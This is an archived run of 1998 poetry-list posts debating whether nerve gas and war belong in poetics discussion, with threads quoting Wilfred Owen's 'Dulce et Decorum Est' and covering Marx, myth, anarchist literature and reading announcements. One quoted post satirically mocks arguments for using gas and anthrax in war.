> *It is simply how nature has revealed itself to be and we have no reason whatever to believe that we are a unique instance of evolution in scenarios of conflict, within a much vaster whole. Simple probability says that we will run up against adversaries, somewhere in the future.*

It's a dog eat alien world, apparently, and o yes, we must be vigilante...

--
V I S P O ~ L A N G U (I M) A G E
http://www.islandnet.com/~jandrews/mocambo/jimvispo.htm

↑ Index

300. Anthony Lawrence
Re: What it all has to do with poetry
Thu 11 Jun 1998

> "*What does ANY of this have to do with Poetics, pray tell???*" *(Brent Long)*
>
> *For the people whose lives, ethics, values, etc. are inextricably wed to poetry, Everything.*

Poets have always been able to justify their left and right margins & get away with it

Anthon Lawrence

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

301. **hen**
Re: Marx and Myth
Thu 11 Jun 1998

On Wed, 10 Jun 1998 17:49:09 -0700 Safdie Joseph said:
 Nevertheless, Marx went on to say that "the real
>difficulty is not in grasping the idea that Greek art and epos are bound
>up
>with certain forms of social development. It rather lies in
>understanding
>why they still constitute a source of enjoyment with us, and in certain
>aspects prevail as a standard and model beyond attainment."
>
>So why IS that? (This from "A Contribution to the Critique of Political
>Economy", N.Y., 1904 - (and also from an essay by one Joseph Mali,
>writing of Walter Benjamin's use of myth, which he got from Vico! -
>quite fascinating, even brilliant in parts, and I'd be glad to supply
>the citation if anyone's interested . . .)

Maybe one reason is the way the Iliad & the Odyssey combine fiction and
reality. The Greeks along with most ancient peoples took their "epos"
very seriously as the "whole story" for "everybody", but
the whole story included the utter strangeness of experience (the gods,
the giants, unknown regions of the world, fate, death, love, etc.).
So the story radiated a lot of "otherness" & strangeness while
remaining a story (with a plot of earth & a grave for every character).
Poetry & writing still involve that sort of double thing, a momentum
into strangeness which retains or even heightens belief. The
credible incredible. What else IS ultimately "believable"? It's
a powerful drug & a poison. Plato was rightly concerned for free minds
& sane life when he outlawed the poets. Isn't Don Delillo's
LIBRA the way it really happened?
- Henry Gould
>
>And now, back to "The Massacre of the Innocent Jazz" - a little-known
>Florentine work . . .

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302. **morpheal**
Re: Nerve gas
Thu 11 Jun 1998

> *OK, OK, so the plug for the bio stuff was unfeeling of me. So just nukes to back up the sarin, OK? I mean you always hope those won't be necessary, but if you're weighing the lives of the many against the lives of the few, you gotta do what you gotta do.*

This really must be the darkest, silliest, hour.

Now you are condoning the death of the many to save the few.

I wish I could laugh at that, but my laughter machine is broken and in for repairs.

Perhaps something of the opposite might have been true when conflicts were decided purely by the numbers of cannon fodder that a king, emperor, or other semi-divinity could muster into the field. It is not quite the same nowadays. Then we could have dropped a simple hand grenade on that cluster of generals and nobility on that distant hilltop overlooking the English squares parading against each other and falling like flies and put an end to it more quickly. The advance of technology seems to have changed that somewhat.

"So, go ahead punk, why don't you use your bomb, and 'make my day'....."

'Dirty Harry'

"And tomorrow we shall learn to defend ourselves against over-ripe avocados.... so bring your pointed sticks....."

'Monty'

↑ Index

303. **morpheal**
Re: Marx and Myth
Thu 11 Jun 1998

> *Plato was rightly concerned for free minds*
> *& sane life when he outlawed the poets.*
> *- Henry Gould*

Sounds as if Plato was in fact a communist - marxist.

Either that, or Plato was/is a computer..... It really does not matter which as the ultimately enforced one dimensionality becomes essentially the same.

Then again, sometimes we are pushed to look at sanity somewhat in this way:

We've Got Class

Today they draped another
pauper's coffin
with a dollar bill,
and there was a silent salute,
for another victim
of money forbid.

The wealthy save
their own bodies
for this life,
too often telling the poor
to save their souls
for the afterlife.

Those in between
supposed to make coffins,
print dollar bills,
serve the wealthy,
give to the poor,
and preach sermons.

B.E.

↑ Index

304. sylvester pollet
Re: Anarchy/drunken boat
Thu 11 Jun 1998

Jackpot! Thanks, Charles. That site seems a fantastic resource. They have both issues I referred to, and in fact published what I was calling #2 themselves, as Drunken Boat: Art Rebellion Anarchy ed. Max Blechman. $6 & $12. The place sounds great, non-profit co-op, etc. Also hold readings & events (Seattle). From a quick glance, they have a huge catalogue.

At 7:02 PM -1000 6/10/98, Charles E. Weigl wrote:
>i believe drunken boat put out more than 2 issues. they also recently
>(past few years) published a "best of" anthology, i believe.
>
>best place to get info on this and on the anarcho-tip is:
>
>
>Left Bank Distribution
>http://www.leftbankbooks.com
>
>they're the largest north american distributor of anarchist and

>anti-authoritarian lit (or at least that what we said when i was a
>collective-member back in the day) and they have a huge catalog at
>http://www.leftbankbooks.com/catalog.html. i'm sure i saw drunken boat
>stuff on there in the recent past.
>
>while i'm thinking of it, left bank also runs a great books-to-prisoners
>project that provides free books to incarcerated men and women. when i
>was working on it, we always had more requests than we could fill. i
>doubt it's changed much. check out their home page for info if you're
>inclined to dump some (tax-deductible) books and/or cash on them.
>
>charles

↑ Index

305. **Brent Long**
In response to Daniel B.'s posting
Thu 11 Jun 1998

> *For the people whose lives, ethics, values, etc. are inextricably wed to poetry, Everything.*

This is EXACTLY the kind of self-righteous mentality that I try to avoid when it comes to poetry...not only in myself, but in those I keep company with and whom I will listen to. And nerve gas has NOTHING to do with poetry. No matter how inextricably wed one is to their own image of their place in the realm of poetics.

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306. **daniel bouchard**
Re: In response
Thu 11 Jun 1998

At 10:13 AM 6/11/98 -0400, Brent Long wrote:
>> And nerve gas has NOTHING to do with poetry. No matter how inextricably wed one is to their own image of their >place in the realm of poetics.
>

Gas! GAS! Quick, boys! - An ecstasy of fumbling,
Fitting the clumsy helmets just in time;
But someone still was yelling out and stumbling,
And flound'ring like a man in fire or lime...
Dim, through the misty panes and thick green light,
As under a green sea, I saw him drowning.

In all my dreams, before my helpless sight,
He plunges at me, guttering, choking, drowning.

If in some smothering dreams you too could pace
Behind the wagon that we flung him in,
And watch the white eyes writhing in his face,
His hanging face, like a devil's sick of sin;
If you could hear, at every jolt, the blood
Come gargling from the froth-corrupted lungs,
Obscene as cancer, bitter as the cud
Of vile, incurable sores on innocent tongues, -
My friend, you would not tell with such high zest
To children ardent for some desperate glory,
The old Lie: Dulce et decorum est
Pro patria mori.

--Wilfred Owen, from "Dulce Et Decorum Est" (partial)

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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307. Mark Prejsnar
Christy Mathewson memorial poetix post
Thu 11 Jun 1998

Yet you sound incredibly self-righteous yourself, dontcha??

Praise to Dan and Charles for excellent posts on this subject.

Long does offer one helpful hint: by reversing his axiom we get a pretty good instant aphorism for the ages:

"Nerve gas has EVRYTHING to do with poetry"!

m.

On Thu, 11 Jun 1998, Brent Long wrote:

> *For the people whose lives, ethics, values, etc. are inextricably wed to poetry, Everything.*
>
> *This is EXACTLY the kind of self-righteous mentality that I try to avoid when it comes to poetry...not only in myself, but in those I keep company with and whom I will listen to. And nerve gas has NOTHING to do with poetry. No matter how inextricably wed one is to their own image of their place in the realm of poetics.*

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308. **David Zauhar**

Harryette Mullen in Chicago

Thu 11 Jun 1998

For Poetics Listers in the Chicago area:

I just saw a notice announcing that Harryette Mullen is reading in Chicago. The Renaissance Society at the University of Chicago is sponsering the event. Cost is $5 for the general public, $3 for members and students. The reading is scheduled for 3:00, Sunday June 14 at the Society (5811 South Ellis Avenue, Bergman Gallery {Cobb Hall 418}).

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

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309. **Billy Little**

will you still need me

Thu 11 Jun 1998

---

donald duck 64 today

↑ Index

310. **William Burmeister Prod**
Re: In response
Thu 11 Jun 1998

Ah thank you Daniel Bouchard for posting this Wilfred Owen poem. Goes back a long, long time for me (school). As it turns out I always remembered the simile "like a devil's sick of sin," with particular interest, but couldn't remember the name of the poem, or it's author. Owen does as much as he can here to express inexpressible horror.

William

On Jun 11, 10:22am, daniel bouchard wrote:
> Subject: Re: In response
> At 10:13 AM 6/11/98 -0400, Brent Long wrote:
> >> And nerve gas has NOTHING to do with poetry. No matter how inextricably
> wed one is to their own image of their >place in the realm of poetics.
> >
>
>
> Gas! GAS! Quick, boys! - An ecstasy of fumbling,
> Fitting the clumsy helmets just in time;
> But someone still was yelling out and stumbling,
> And flound'ring like a man in fire or lime...
> Dim, through the misty panes and thick green light,
> As under a green sea, I saw him drowning.
>
> In all my dreams, before my helpless sight,
> He plunges at me, guttering, choking, drowning.
>
> If in some smothering dreams you too could pace
> Behind the wagon that we flung him in,
> And watch the white eyes writhing in his face,
> His hanging face, like a devil's sick of sin;
> If you could hear, at every jolt, the blood
> Come gargling from the froth-corrupted lungs,
> Obscene as cancer, bitter as the cud
> Of vile, incurable sores on innocent tongues, -
> My friend, you would not tell with such high zest
> To children ardent for some desperate glory,
> The old Lie: Dulce et decorum est
> Pro patria mori.
>

> --Wilfred Owen, from "Dulce Et Decorum Est" (partial)
>
>
>
>
> <<<<<<>>>>>>>>>>>>>>>>>>
> Daniel Bouchard
> The MIT Press Journals
> Five Cambridge Center
> Cambridge, MA 02142
>
> [redacted]
> phone: [redacted]
> fax: [redacted]
> >>>>>>><<<<<<<<<<<<<<<<<
>-- End of excerpt from daniel bouchard

↑ Index

311. **morpheal**
Re: will you still need me
Thu 11 Jun 1998

> *donald duck 64 today*

Rumour is that he is now Sir Donald, having saved the world from becoming excessively Mickey Mouse.

B.

↑ Index

312. **Safdie Joseph**
Re: Marx and Myth and History and Poetry
Thu 11 Jun 1998

Henry wrote:

  Maybe one reason [why myths still constitute a source of enjoyment with us, and in certain aspects prevail as a standard and model beyond attainment] is the way the Iliad & the Odyssey combine fiction and
  reality. The Greeks along with most ancient peoples took their "epos"
  very seriously as the "whole story" for "everybody", but
  the whole story included the utter strangeness of experience

(the gods,
the giants, unknown regions of the world, fate, death, love, etc.).
So the story radiated a lot of "otherness" & strangeness while
remaining a story (with a plot of earth & a grave for every character).
Poetry & writing still involve that sort of double thing, a momentum
into strangeness which retains or even heightens belief. The
credible incredible. What else IS ultimately "believable"? It's
a powerful drug & a poison. Plato was rightly concerned for free minds
& sane life when he outlawed the poets. Isn't Don Delillo's
LIBRA the way it really happened?

Which thought I applaud, not only as a response to Karl Marx's question but as a contribution to the "What's nerve gas got to do (got to do) with it" discussion - DeLillo's _Underworld_ continues this theme of blending the real with the imaginary, being a "history" of the last 50 years as well as a "novel" (beginning with the Giant-Dodger game of 1951, Hoover in attendance, learning of Russian H-bomb explosion) . . .

Brent Long's hermeticism just ain't gonna fly, and Daniel Bouchard's Owen poem (and the work of Sassoon and others, as mentioned yesterday) is perhaps the best response to it. But there's also this, from an article called "The Politics of Jacques Derrida" in the current issue of the New York Review of Books :

"The history of French philosophy in the three decades following the Second World War can be summed up in a phrase: politics dictated and philosophy wrote. After the Liberation, and thanks mainly to the example of Jean-Paul Sartre, the mantle of the Dreyfusard intellectual passed from the writer to the philosopher, who was now expected to pronounce on the events of the day. This development led to a blurring of the boundaries between pure philosophical inquiry, political philosophy, and political engagement, . . ."

. . . which lines, he goes on to say, are slowly re-establishing themselves. Substitute "poet" for "philosopher" here and you have a justification for such discussion, and for such work. (This article is TREMENDOUSLY entertaining! Equally as good as the one about the Texas textbook massacre of a few weeks ago! It's very jaundiced about Derrida and the entire program of "academic postmodernism" - and has instructed me greatly . . .)

↑ Index

313. William Burmeister Prod
Que nerve he has!
Thu 11 Jun 1998

Hey, that's tina turner isn't it:

"What's (nerve gas) got to do, got to do with it"

Sorry,

William

↑ Index

314. Henry G
whutsa...ya talkin t'me??
Thu 11 Jun 1998

I think Brent was right on a certain level & I speak from long & criminal experience when I say the List sometimes needs reminding that it's the economy, stupid, this ain't Speaker's Corner in Jello Park. - Jack Spandrift

↑ Index

315. Christopher Reiner
SF Reading (change)
Thu 11 Jun 1998

A change in the Attic reading: Susan Smith Nash will not be able to come out from Oklahoma to read. Reading in her place will be Cole Swensen, recently back from Denver.

A San Francisco Reading:

Joe Ross
Cole Swensen
Cydney Chadwick
Michelle Murphy

Saturday, June 13th, 5 p.m. at the Attic Club, Cocktail Lounge and Artspace, 3336 24th St.(near the 24th St. BART station, also near Mission St.). Doors open at 4:30 p.m. Reading begins at 5 p.m. _sharp_. Free.

↑ Index

316. Jordan Davis
"I know men [sic] for whom everything matters"
Thu 11 Jun 1998

No, Brent's wrong. Even if you take the Personism defence, there's no beauty in ignoring atrocities. I mean,aren't we supposed to be lightly _humiliated_ by the fact that we identify with Seinfeld, those of us who do. I don't, I feel more like George? I feel more like a Kosovan than Muslim, too, which may account for my only beginning now to try to find out what is happening and who profits from my not knowing about it. I mean, Abacha dropped dead! In his sleep!

Unless of course poetry is just pretty words, in which case, scuse me while I go paint over Homer Sappho Virgil and O'Hara. And unless we're supposed really to take care of our careers treat other members of our caste gently and let big things take care of themselves --

I am having trouble thinking of a single poem that has nothing to do with the world that produced it --

help me out, Brent, Henry --
Jordan

↑ Index

317. Peter Baker
Re: Anarchy
Thu 11 Jun 1998

I'll add my voice to Jordan--Bernadette Mayer is key here. I talked to her a year or so ago and she said she was writing a book on anarchy. Has anyone else heard anything more on that? I take her MEMORY project as a how-to for practicing a refusal of the dominant society (July '71).

Coming out of Rimbaud (Je suis en gre`ve) one way to anarchy is *absolute refusal to work*. See also his "Je m'encrapule le plus possible." Guy Debord and the Situationists, Paris May '68. Greil Marcus makes the connection from there (a little too self-celebratorily for me) to the Punk rockers of the seventies in his _Lipstick Traces_.

Baraka "Black Dada Nihilismus" (I agree) follows this through Dada and Surrealism and the refusal of power in the Olson/Baraka poems to each other from early sixties time evidences this. Spicer relevant in this regard, especially his refusal to play the poe biz game.

Ted Berrigan's view that the poet is always doing poetry at every moment takes the writer out of the cash nexus. Michaux connects to Surrealism and important beyond what Ted did with him. Not only his work on drug experience but

also his immersion in the world of the "mentally ill" who by definition are isolated from and other to dominant society (big thread here connecting up with Artauld, Foucault, on and on).

Georges Perec's political involvements in La ligne generale as this leads into his shift to OULIPO in the sixties might be of some relevance.

bp Nichol has been going through my mind in this connection, maybe for that same singleminded commitment to only poetry, invention of all the possible new forms. Michael Ondaatje's _In the Skin of a Lion_ a practical how-to manual that ties anarchism to immigration.

Has anyone mentioned Andrei Codrescu and the anarchist streak that gets here through the Eastern Europeans, anti-authoritarianism as wild humor?

Peace,
Peter

****
Peter Baker
Professor of English and Cultural Studies

Towson University [redacted] (voice mail) Towson, MD 21252
[redacted] (fax) [redacted] http://www.towson.edu/~baker

WORKERS OF THE WORLD DISPERSE!
****

↑ Index

318. **Henry**
Re: "I know men [sic] for whom everything matters"
Thu 11 Jun 1998

Jordan,
Dan was right, with the perfect comeback, the Owen poem.

It's always been a losing issue to try to "police" the list topics. Because, yeah, poetry gets into everything. But I still say Brent was right to ask, where's the poetry in this "everything" we're going on about?

I agree with those people who periodically ask here, hey, can we talk about some specific poems or poets we're reading lately? I agree with that - that's why I've tried to contain my own meanderings...

- Henry G

↑ Index

319. R.Gancie/C.Parcelli

Re: In response to Daniel B.'s posting

Thu 11 Jun 1998

Brent Long wrote:
>
> >For the people whose lives, ethics, values, etc. are inextricably wed to
> >poetry, Everything.
>
> This is EXACTLY the kind of self-righteous mentality that I try to avoid
> when it comes to poetry...not only in myself, but in those I keep company
> with and whom I will listen to. And nerve gas has NOTHING to do with
> poetry. No matter how inextricably wed one is to their own image of their
> place in the realm of poetics.
Dear Brent. What the livin' hell are you talking about! Haven't you heard of the mustard gas attack at Ypres in World War One. Such poets as Sassoon, Rosenberg, Service wrote diectly or indirectly about that horrible business. The savagery of World War I, embodied in the gas attacks at Ypres, are immortalized, IMMORTALIZED! by Pound in the Cantos and Mauberley as well as in Bunting's work. Pound's loss of his friend, the sculptor, Gaudier-Brzeska, to the insanity of that war affected him deeply for the rest of his long life. Official lying is a poetic theme---read Pound, Ginsberg, Corso, Bly, Levertov---practically any damn body of my generation or the generations before me. Hypocrisy is a theme of poetry---read Martial or Catullus or et al. War is a theme of poetry. Death is a poetic theme. How obvious! How far we drift when we abandon meaning or wallow in the pubescent delights of a material culture or practice an aesthetic asceticism. How clean we all feel. I for one began hearing rumors back in the mid-seventies (around the time of the Pike and Church sub-committee hearings) that the U.S. used sarin gas in the Southeast Asian general theatre of operations. I live just a few miles from Fort Detrick, MD where such things are tested. But in spite of the foreknowledge of the likelihood of the U.S. using gas in Southeast Asia, this most recent and concrete information has profoundly distressed and sickened me. And to borrow from Sojourner Truth---"And ain't I a 'poet'!?."---Carlo Parcelli

↑ Index

320. **R.Gancie/C.Parcelli**
nerve gas
Thu 11 Jun 1998

Brent. And my profound apologies to David Jones that great poetic chronicler of 'The Great War' whom I left out in my haste to address your blither. Read his poem 'The Fatigue' to find out where you fit in. Also, apologies to Robert Duncan and even Galway Kinnell, when we all came to our senses.---Carlo Parcelli

↑ Index

321. **henry gould**
a six-pack of nerves
Thu 11 Jun 1998

Just a reminder to all the Brent-bashers - if he hadn't raised the issue in the first place, nobody would have mentioned all these specifically POETRY reactions to the gas. - Henry G

↑ Index

322. **Jordan Davis**
Why We Don't Live In Mauritania
Thu 11 Jun 1998

The problem if there is one for poetry then isn't what subject matter is it appropriate to discuss but:

how to make something someone anyone would want to need to read.

Cooler now I see Brent could be heard to say what is there in this about how to make something anyone would need to read.

This is my secret (to me) problem with poetics: the only answer to that question is the poem that does it. The question is sphinxy, automatically better than any answer that thinks it has to do with the question.

two of five,
Jordan

↑ Index

323. **Brent Long**
Re: a six-pack of nerves
Thu 11 Jun 1998

Thank you, Henry. That was JUST what I was thinking. Before I posted, there was only a message from Daniel pointing out wed to poetry he is...only problem

was, there was no poetry mentioned about the topic. NOW we can have a conversation about poetry...finally.

At 03:30 PM 6/11/98 EDT, you wrote:
>Just a reminder to all the Brent-bashers - if he hadn't raised the issue
>in the first place, nobody would have mentioned all these specifically
>POETRY reactions to the gas. - Henry G
>
>

↑ Index

324. **R.Gancie/C.Parcelli**
Re: Nerve gas
Thu 11 Jun 1998

KENT JOHNSON wrote:
>
> On 9 June, Morpheal wrote:
>
> >It really is not that hard to understand. Simply that the lives of
> >many are valued more than the lives of the few, where both are in
> >the same balance. That logic is simple enough.
>
> >I would agree that mistakes happen, and particularly in the
> >complicated psychological and technical jungle of modern warfare. I
> >do not know if a particular incident was a mistake in terms of there
> >being a more viable option or whether it was the only viable option
> >to save the most human lives within the context of the military
> >action in progress.
>
> >I can only speak to the principles, not the specifics of that
> >incident.
>
> Finally, a Scientific American reader with some nuts and bolts
> political and ethical sense! I say that when the U.S. goes back to
> the Persian Gulf or Central America or maybe Indonesia to save the
> natives from themselves it should keep Morpheal's simple formula in
> mind: Use whatever it takes on hold-out villages if it will arguably
> result in fewer losses to our forces and shorten unfriendly
> resistance to the military action in progress. And come to think of
> it, if I can add my two cents to Morpheal's sound and simple line of
> argument, keep the anthrax handy too. If necessary, that will quickly
> take the fight out of Charlie--not to mention any brainwashed

> defectors from our side-- and could well save quite a few lives when
> everything is factored in.
>
> Of course, I'm sure Morpheal would agree with me that such
> actions--particularly when we are temporary guests in another
> land--must only be undertaken as a _last resort_ and be guided,
> always, by the foremost of all principles-- the hypothetical
> preservation of the greatest number of human lives, for human life,
> as we civilized people know, is the bottom line. And I'm sure he'd
> also caution that military and political leaders forced to make such
> decisions in the jungle of modern warfare should realize from
> the get-go that they may forever be burdened with the angst of having
> possibly made a "mistake"-- as even Saddam Hussein must be burdened
> by the gassing of Kurdistan, though he believes in his heart that it
> was done to save many others from unnecessary death and suffering.
> (Of course, the thing with the Kurds was obviously a _mistake_, and
> so I _am not_ defending Saddam Hussein in any sense here. I said he
> probably "believes" he saved many more lives. The man is a threat to
> the world, and if we'd made the tough decision and
> precision-nuked Baghdad some years ago, the planet would now be
> --simple logic-- a less dangerous place.)
>
> And the planet _is_ a complicated place R. Gancie, whoever you are,
> much more complicated than you realize. So stop it, will you, with
> your empty and bleeding-heart rant about nerve gas and just stick to
> neutrinos or something along those lines. As Morpheal brilliantly
> summed it all up, "We are where we is because we were where we was."
Kent, What's Scientific American?---Carlo Parcelli

↑ Index

325. **henry g**
Re: Why We Don't Live In Mauritania
Thu 11 Jun 1998

Plato would agree with you there, Jordan, that's why he banned the poets, because their poems were better questions than his philosophical questions were better than the windy answers to them, which is why philosophy keeps asking questions, to keep from being bored with their own answers, but Plato lives in Mauritania, I think? Therefore I am Maury? Je wha??? - Eric Blarnes

↑ Index

326. **R. Gancie**
the behavior of falling bodies
Thu 11 Jun 1998

"The mystic "sees the world in a grain of sand," and the world which he sees is either moral or aesthetic, or both. The Newtonian scientist sees a regularity in the behavior of falling bodies and claims to draw from the regularity no normative conclusions whatsoever. But his claim ceases to be consistent at the moment that he preaches that this is the right way to view the universe. To preach is possible only in terms of normative conclusions."---Gregory Bateson

↑ Index

327. **oren.izenberg**
Re: Marx and Myth and History and Poetry
Thu 11 Jun 1998

This is an extraordinarily muddled conversation. Nobody contests (least of all, I would venture to say, the "hermetic" Brent Long) That poets (like philosophers, "writers," and people of all kinds) can and maybe even should think about nerve gas, care about nerve gas, and maybe even, to the best of their ability, _write_ about nerve gas-- if they hope or imagine that writing about nerve gas might do something about nerve gas (like cause other people or themselves to think about it or care about it or do something about it).

The question Brent was asking-- and,as a cross aside, it strikes me that it is the question one can KNOW he was asking just by reading it with the tiniest presumption of goodwill-- was not, why should such a conversation begin on a list like this one (not, in other words, poets shouldn't talk about such things!) but rather, why is this conversation going on and on (and on) without anyone even trying to address the relationship between caring about the constructive choices that (let's say)a particular POEM enjoins (or more generally, about the nature of the choices that POETICS as a field of inquiry takes up as its clearest subject matter) to the various _other_ kinds of ethical and political choices people have to make? Its a knotty question, but there are obviously ways to think about it-- in other contexts, people _on this list_ have thought it. It doesn't seem so far out of line (self-righteous, hermetic, aestheticist, aescetic, formalist, elitist, careerist, or policelike) to bring it up.

But "because I care a whole lot about x and y, x has EVERYTHING to do with y" is not really thinking about the question, no matter how loud the caps, no matter how aphoristic the formulation; it is a way to dismiss the question, and I understand Brent's (irritated) refusal to take it seriously as a good faith answer. "I developed a strong set of moral and political beliefs while reading and thinking about and writing poems and I can apply those beliefs to the topic of modern

warfare and to many other things" or even "look! some poems are actually _about_ modern warfare and even about how horrible nerve gas is," as genetic and thematic answers, don't quite address the question fully either-- which is about the relationship between areas of practice: again, how to think about the conceptual relation between choices made in the making of poems and choices of other kinds.

↑ Index

328. **ken|n|ing**

Re: Why We Don't Live In Mauritania

Thu 11 Jun 1998

Jordan et. al.

Perfect. This is the task of poetics. Not a given poem. The poem needn't address the why or it, that's not its task. The why is engulfed by the how (to interpret, to listen) which is the fundamental task of poetics. The works denegrated are not being listened to, I'm afraid.

Hastily,

Patrick F. Durgin

```
                    |
                    |
k e n n i n g``````````|```````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
```

On Thu, 11 Jun 1998, Jordan Davis wrote:

> *The problem if there is one for poetry then isn't what subject matter is it appropriate to discuss but:*
>
> *how to make something someone anyone would want to need to read.*
>
> *Cooler now I see Brent could be heard to say what is there in this about how to make something anyone would need to read.*
>
> *This is my secret (to me) problem with poetics: the only answer to that question is the poem that does it. The question is sphinxy, automatically better than any answer that thinks it has to do with the question.*
>
> *two of five,*
> *Jordan*

↑ Index

329. **Roger Farr**
Re: Drunken Boat
Thu 11 Jun 1998

Drunken Boat #3 has been "at the press" for almost 2 years now!

Roger

↑ Index

330. **joel lewis**
f.y.i.
Thu 11 Jun 1998

Shakespeare study turns into exam tragedy

LONDON (Reuters) - British students found to their horror they had spent two years studying the wrong play when their exam paper had no questions on Shakespeare's epic tragedy ``King Lear.'' Bradford Grammar School, whose former pupils include painter David Hockney and former Labour minister Denis Healey, discovered its curriculum error and hastily rang the examination board. A teacher mistakenly taught the pupils ``King Lear'' instead of three other Shakespeare plays which were on the syllabus. Headmaster Stephen Davidson said the teacher was ``absolutely devastated.'' A spokesman for the examination board said: ``It will have been a stressful time for the students and we will do everything we can to make sure that they are not disadvantaged by a mistake that wasn't their fault.'' Staff and pupils are anxiously awaiting the results from the A-level examination, which can affect pupils' chances of gaining entrance to universities. ^REUTERS@

↑ Index

331. **David Golumbia**
mla reference (fwd)
Thu 11 Jun 1998

a friend of a friend of a friend forwards this query to me... anyone have any idea whether any record exists? feel free to backchannel.. thx!

> *Does anyone have a copy (or know where I could find one) of the discussion on "Zen and Contemporary Poetry" that Richard Brautigan, Gary Snyder and Philip Whalen held at the Modern Language Association's Convention in San Francisco in December 1979?*
>
> *Thanks.*

--
[redacted]
David Golumbia

↑ Index

332. louis stroffolino
Re: Anarchy
Thu 11 Jun 1998

Peter....
well i dont know if ted berrigans view that the poet is always
doing poetry "TAKES THE WRITER OUT OF THE CASH NEXUS"
(so that's the phrase to play with---"chew on"--for "awhile"....)
money plays a role, "has a presence", in tb's work,
and i don't think it's just the villianous cash nexus one
is glad to be taken out of.....
chris

On Thu, 11 Jun 1998, Peter Baker wrote:

> *I'll add my voice to Jordan--Bernadette Mayer is key here. I talked to her a year or so ago and she said she was writing a book on anarchy. Has anyone else heard anything more on that? I take her MEMORY project as a how-to for practicing a refusal of the dominant society (July '71).*
>
> *Coming out of Rimbaud (Je suis en gre`ve) one way to anarchy is *absolute refusal to work*. See also his "Je m'encrapule le plus possible." Guy Debord and the Situationists, Paris May '68. Greil Marcus makes the connection from there (a little too self-celebratorily for me) to the Punk rockers of the seventies in his _Lipstick Traces_.*
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> *Baraka "Black Dada Nihilismus" (I agree) follows this through Dada and Surrealism and the refusal of power in the Olson/Baraka poems to each other from early sixties time evidences this. Spicer relevant in this regard, especially his refusal to play the poe biz game.*
>
> *Ted Berrigan's view that the poet is always doing poetry at every moment takes the writer out of the cash nexus. Michaux connects to Surrealism and important beyond what Ted did with him. Not only his work on drug experience but also his immersion in the world of the "mentally ill" who by definition are isolated from and other to dominant society (big thread here connecting up with Artauld, Foucault, on and on).*
>
> *Georges Perec's political involvements in La ligne generale as this leads into his shift to OULIPO in the sixties might be of some relevance.*
>
> *bp Nichol has been going through my mind in this connection, maybe for*

> *that same singleminded commitment to only poetry, invention of all the possible new forms. Michael Ondaatje's _In the Skin of a Lion_ a practical how-to manual that ties anarchism to immigration.*
>
> *Has anyone mentioned Andrei Codrescu and the anarchist streak that gets here through the Eastern Europeans, anti-authoritarianism as wild humor?*
>
> *Peace,*
> *Peter*
>
> **********
> *Peter Baker*
> *Professor of English and Cultural Studies*
>
> *Towson University* [redacted] *(voice mail)*
> *Towson, MD 21252* [redacted] *(fax)*
> [redacted] *http://www.towson.edu/~baker*
>
> *WORKERS OF THE WORLD DISPERSE!*
> **********

↑ Index

333. William Burmeister Prod

Re: "I know men [sic] for whom everything matters"

Thu 11 Jun 1998

On Jun 11, 2:34pm, Jordan Davis wrote:
> Subject: "I know men [sic] for whom everything matters"
> No, Brent's wrong. Even if you take the Personism defence, there's no
> beauty in ignoring atrocities.
>
> Unless of course poetry is just pretty words, in which case, scuse me
> while I go paint over Homer Sappho Virgil and O'Hara.

I guess now's a good time to repeat that POETRY MAKES NOTHING HAPPEN! Poetry makes poetry happen, keeps us sane, dignified, and civil-like in bad times, and buoys or transcends even our best times. It is an inertial wheel that keeps experiences/memories/thought/language, everything, good and bad, alive. Poetry makes something happen but in the "radiant and productive atmosphere" of the mundo of the imagination. "There was so much that was real, that was not real"--the world is upside down, circular. What is too real, hyperreal (the horrible) becomes unreal compared with the "normal," the things as they are, no?

Do paint over Homer, Sappho, Virgil, and O'Hara, but with words--it's all we've ever been doing since in this palimpsestuous relationship we have with the past.

> *The problem if there is one for poetry then isn't what subject matter is it appropriate to discuss but:*

The problem if it is one (don't think it is) is that there isn't one poetry (subject matter excluded).

> *how to make something someone anyone would want to need to read.*

"to need"--not gonna do it, not gonna do it. What is that phrase "all the news fit to print(?) or something like that.

William

↑ Index

334. P.Standard Schaefer

Re: "I know men [sic] for whom everything matters"

Thu 11 Jun 1998

William Burmeister:

In a message dated 98-06-11 17:10:54 EDT, you write:

<< POETRY MAKES NOTHING HAPPEN!

If poetry makes nothing happen but more poetry then does it become a mechanism for control. People write, publish, read, comment on it and thereby acquire some kind of cultural capital (Bourdieu would call it distinction) that allows them to become relatively satisfied and therefore prevents them from making things happen in regard to economic capital.

At the same time, poetry in relation to say Hollywood is in a domintated position which perpetuates the frustration and animosity of poets who then express their animosity (however beautifully and joyously) by writing about pop culture...politics...etc?

I think it was said that it keeps us "civil-like".

I get a little nervous with the suggestion that poetry returns us to the imagination, to the mind or the prison house of language.

Standard Schaefer

↑ Index

335. **Christian Roess**

Re: Marx and Myth and History and Poetry

Thu 11 Jun 1998

> *even trying to address the relationship*
> *between caring about the constructive choices that (let's say)a particular*
> *POEM enjoins (or more generally, about the nature of the choices that*
> *POETICS as a field of inquiry takes up as its clearest subject*
> *matter) to the various _other_ kinds of ethical and political choices people*
> *have to make? Its a knotty question*

I would say not-I here I'd say _The Book Of Knots_
(Michael Palmer: Letters to Zanzotto)

Friends too tired to see differences,
This, Marx dissociated:
"Equal right..presupposes inequality,
Different people are not equal one to another."
But to make the exploitation by one man of many
impossible!
When the opposition between brain and manual work
will have disappeared,

When labor will have ceased to be a mere means of
supporting life,

Whether it was 'impossible for matter to think?'
Duns Scotus posed.
Unbodily substance is an absurdity
like unbodily body. It is impossible
to separate thought and matter that thinks.
(Louis Zukofsky,: [A-8])

